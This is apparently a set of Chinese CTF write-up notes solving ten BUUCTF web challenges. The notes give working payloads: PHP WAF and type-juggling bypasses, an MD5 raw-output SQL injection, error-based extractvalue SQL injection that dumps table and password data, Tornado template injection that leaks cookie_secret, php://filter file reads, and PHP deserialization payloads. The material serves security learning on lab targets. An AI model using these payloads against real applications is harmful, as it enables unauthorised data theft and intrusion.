Buuctf-Web(17-26)
17[RoarCTF 2019]Easy Calc
利用PHP的字符串解析特性绕过安全防护软件 - FreeBuf网络安全行业门户
【BUUCTF】 RoarCTF 2019]Easy Calc 详细题解笔记 Writeup_scandir被过滤-CSDN博客
RoarCTF 2019 - Easy Calc - ch0bits - 博客园 (cnblogs.com)
一个计算器,看源码
尝试访问calc.php
PHP字符串解析特性绕过WAF
输入时发现num只能输入数字,输入字符无法解析。
PHP需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)
现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。
禁用函数了system():用scandir()、var_dump()、chr()绕过
scandir()函数:返回指定目录中的文件和目录的数组
https://www.runoob.com/php/func-directory-scandir.html
var_dump():输出变量的相关信息
chr(): 返回值是当前整数对应的 ASCII 字符。
https://www.runoob.com/python/python-func-chr.html
构造payload,num前面加空格绕过限制上传字符:由于scandir("/")能扫描根目录,但是过滤了"/",就使用ASCII值绕过
calc.php? num=1;var_dump(scandir(chr(47)))
发现f1agg文件,读取
calc.php? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
18[极客大挑战 2019]BuyFlag
[极客大挑战 2019]BuyFlag 1(两种解法)-腾讯云开发者社区-腾讯云 (tencent.com)
打开菜单,进入payflag界面
查看源码,发现hint
is_numeric() 函数用于检测变量是否为数字或数字字符串。
post传入password,password不能为数字或者数字字符串并且passsword弱等于404
php弱比较
在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
PS C:\Users\Administrator> php -r "var_dump('404'==404);"
bool(true)
PS C:\Users\Administrator> php -r "var_dump(is_numeric('404'));"
bool(true)
PS C:\Users\Administrator> php -r "var_dump(is_numeric('404mochu'));"
bool(false)
PS C:\Users\Administrator> php -r "var_dump(404 == '404mochu');"
bool(true)
根据提示填写user,money,pasword
数字长度绕过
提示数字太长,两种绕过方式
科学计数法money=1e9
数组money[]=1
19[BJDCTF2020]Easy MD5
[buuctf- BJDCTF2020]Easy MD5 (小宇特详解)_buuctf md5-CSDN博客
抓包,看到hint
MD5语法
标准格式
md5(string,raw)
参数 | 描述 |
---|---|
string | 必需。规定要计算的字符串。 |
raw | 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数 |
这里的是原始16字符二进制格式
这里说一下两个的联系,这里的16位秘文和32位秘文的第8-24位子字符串时一样的,也就是中间的16位。
这里的原始16字符二进制格式一般会有乱码,如果想解决的话
1.对输出的16位字节的二进制转换为十六进制。
2.取32位秘文的中间16位
如果MD5值经过hex后,就构成万能密码进行了sql注入,这个就是这个题的关键
在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
如果只有数字的话就不用单引号
这里有个脚本能够跑出来
<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
这里用:
ffifdyop
这个MD5加密后会返回’or’6XXXXXXXXX(这里的XXXXX是一些乱码和不可见字符)
这里的SQL语句会变成
select * from `admin` where password=''or'6XXXXXXXXX'
进入第二关
查看源码
典型MD5弱比较 ,get传参
-
QNKCDZO
-
240610708
进入第三关
强比较,数组绕过
param1[]=1
param2[]=2
20[HCTF 2018]admin
弱口令
打开菜单进入登录框,尝试登录
尝试注册
当注册用户为admin时提示用户已存在
当注册成功后登录,没发现什么
尝试对admin用户爆破密码
还有另外三种解法
21[MRCTF2020]你传你🐎呢
文件上传漏洞
一般可以检查的地方有:
后缀名、content-type、文件头的部分内容
改后缀名,加上文件头
改成jpg文件后缀,通过.htaccess解析漏洞绕过
.htaccess解析漏洞
路径/upload/db2f7e5d2eed1c629171a53f204f350c/2.jpg
我们需要这个解析成php文件,需要再传一个htaccess文件
当时做的时候.htacess文件没有解析成功,后来在其他题又遇到这种情况花时间解决了,改了.htaccess的内容,仅供参考,这个可以把.htaccess文件目录及子目录下的所有文件解析为php文件(主打省事儿,不过容易误伤其他文件,不够精确)
22[护网杯 2018]easy_tornado
打开有三个连接,一一来看
我们知道flag在/fllllllllllllag文件
哈希值=md5(cookie_secret+md5(filename))
注意这里文件名要加上/
我们需要找到cookie_secret
render函数
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg。
render是模板注入,经过测试发现过滤了。构造payload:`/error?msg={{1*2}}`
tornado模板(handler.settings)
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings
handler指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
构造payload/error?msg={{handler.settings}}
得到cookie_secret=e0c79895-a6db-40d5-9d1c-e91a8ddd3b16
哈希值=md5(cookie_secret+md5(filename))
哈希值=md5(e0c79895-a6db-40d5-9d1c-e91a8ddd3b16+md5(/fllllllllllllag))
e0c79895-a6db-40d5-9d1c-e91a8ddd3b16+3bf9f6cf685a6dd8defadabfb41a03a1
ec649f2ee0f4c6062d87758595900efc
/file?filename=/fllllllllllllag&filehash=ec649f2ee0f4c6062d87758595900efc
注意选择小写加密:
23[ZJCTF 2019]NiZhuanSiWei
知识点:伪协议
PHP伪协议总结 - 个人文章 - SegmentFault 思否
第一层:
file_get_contents() 把整个文件读入一个字符串中。
我们使用data协议
?text=data://text/plain,welcome to the zjctf
第二层:
正则过滤掉flag,而题目又提示了useless.php
?text=data://text/plain,welcome to the zjctf&file=useless.php
为了通过第三层,用php://filter协议来读取useless.php:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
base64解码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三层
根据第二层的代码
我们给$file赋值flag.php然后反序列化
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag在源码里
24[极客大挑战 2019]HardSQL
尝试万能密码
密码框输入万能密码也是一样的结果
在尝试后发现是过滤了一些东西比如=,union select,order by
我们用fuzz字典查看过滤了什么
空格,等于号也过滤了,观察发现可以使用报错注入
两个函数
extractvalue()
查数据库名:id=1' and extractvalue(1,concat(0x7e,(select database())))
爆表名:id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
爆字段名:id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))
爆数据:id=1' and extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))
爆数据库名
用’^'来连接函数,形成异或,用Iike代替等于号
?username=1'or(extractvalue(1,concat(0x7e,(select(database())))))#&password=123
?username=1'^extractvalue(1,concat(0x7e,(select(database()))))#&password=123
url:%27单引号 %23井号%20空格
?username=1'or(extractvalue(1,concat(0x7e,(select(database())))))%23&password=123
得到数据库名:geek
爆表名
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
得到表名H4rDsq1
爆列名:
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
id,username,password
爆数据
?username=admin&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串
?username=admin&password=1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))%23
updatexml()
[非常经典的一道SQL报错注入题目极客大挑战 2019]HardSQL 1(两种解法!)-腾讯云开发者社区-腾讯云 (tencent.com)
25[MRCTF2020]Ez_bypass
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) { //第一层
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567) //第二层
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
第一层:用数组绕过
MD5强比较
?id[]=1&gg[]=2
第二层
php弱比较
在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
我们只需passwd=1234567admin即可
26[网鼎杯 2020 青龙组]AreUSerialz
php反序列化、伪协议
好多字哦
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
分析:
read()读取文件,output()输出内容来获得flag
这两个函数在process方法里op弱等于字符串2时调用,而process方在析构函数__destruct中调用,并且destruct中当op强等于字符串2时,改op的值为1,造成结果就是destruct调用process之后无法调用read和output函数,因此我们应该让op强等于字符串2时为false,弱等于字符串2为true,我们只需让op等于数字2即可
pop链:__destruct()--->process()-->read()--->output()
is_valid()
函数对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
read方法中,使用file_get_contents()
函数来读取属性filename路径的文件,我们可以使用伪协议来读取
php://filter/read=convert.base64-encode/resource=flag.php
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "2";
//因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>